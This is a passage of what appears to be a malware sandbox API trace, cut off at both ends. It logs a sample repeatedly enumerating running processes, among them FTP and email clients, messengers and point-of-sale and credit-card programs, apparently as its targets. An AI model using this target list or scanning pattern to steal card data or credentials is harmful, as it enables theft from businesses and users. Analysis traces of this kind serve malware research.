th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0226.364] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0226.366] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0226.369] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0226.371] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0226.373] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0226.376] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0226.378] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0226.381] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0226.383] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0226.385] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0226.388] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0226.390] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0226.392] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0226.490] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0226.492] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0226.495] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0226.497] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0226.499] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0226.501] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0226.504] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0226.506] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0226.508] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0226.510] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0226.512] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0226.515] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0226.517] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0226.520] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0226.522] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0226.524] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0226.526] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0226.529] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0226.531] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0226.533] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0226.583] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0226.585] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0226.586] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0226.588] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0226.589] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0226.591] CloseHandle (hObject=0x15f0) returned 1 [0226.591] Sleep (dwMilliseconds=0x64) [0226.629] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0226.645] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.647] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0226.648] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0226.650] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.652] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0226.654] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.655] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0226.657] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0226.659] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0226.710] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.712] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.713] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0226.715] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.717] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.718] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.720] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.721] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.723] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.724] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.726] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0226.728] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0226.729] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0226.731] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.732] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0226.734] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0226.735] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0226.736] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0226.738] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.739] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0226.741] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0226.786] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0226.788] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0226.789] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0226.791] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0226.792] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0226.793] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0226.795] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0226.796] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0226.798] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0226.799] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0226.801] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0226.803] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0226.804] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0226.805] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0226.807] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night 